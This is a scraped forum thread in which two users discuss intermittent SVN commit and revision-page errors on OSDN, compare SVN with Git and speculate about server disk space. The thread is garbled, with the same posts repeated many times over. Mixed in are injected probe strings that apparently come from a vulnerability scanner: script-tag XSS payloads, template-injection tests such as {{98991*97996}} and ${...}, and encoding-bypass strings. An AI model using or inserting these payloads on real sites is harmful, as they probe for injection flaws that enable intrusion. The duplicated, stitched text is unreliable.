Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/'"()&%<zzz><ScRiPt >hh6B(9896)</ScRiPt>
1'"()&%<zzz><ScRiPt >2a1u(9053)</ScRiPt>
'"()&%<zzz><ScRiPt >hh6B(9093)</ScRiPt>
555'"()&%<zzz><ScRiPt >8Bd9(9487)</ScRiPt>
'"()&%<zzz><ScRiPt >2a1u(9998)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/9271241
'"()&%<zzz><ScRiPt >8Bd9(9041)</ScRiPt>
19247838
bfg8412＜s1﹥s2ʺs3ʹhjl8412
5559262581
bfg4935%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4935
bfg3670＜s1﹥s2ʺs3ʹhjl3670
bfgx4944%C0%BEz1%C0%BCz2a%90bcxhjl4944
<%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1
<th:t="${dfb}#foreach
555
<th:t="${dfb}#foreach
<th:t="${dfb}#foreach
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1
555
dfb{{98991*97996}}xca
dfb{{98991*97996}}xca
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb[[${98991*97996}]]xca
dfb[[${98991*97996}]]xca
dfb${98991*97996}::.x
dfb${98991*97996}::.x
dfb${98991*97996}::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
bfg3524＜s1﹥s2ʺs3ʹhjl3524
bfg9674%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9674
bfg7199＜s1﹥s2ʺs3ʹhjl7199
bfgx6017%C0%BEz1%C0%BCz2a%90bcxhjl6017
<%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
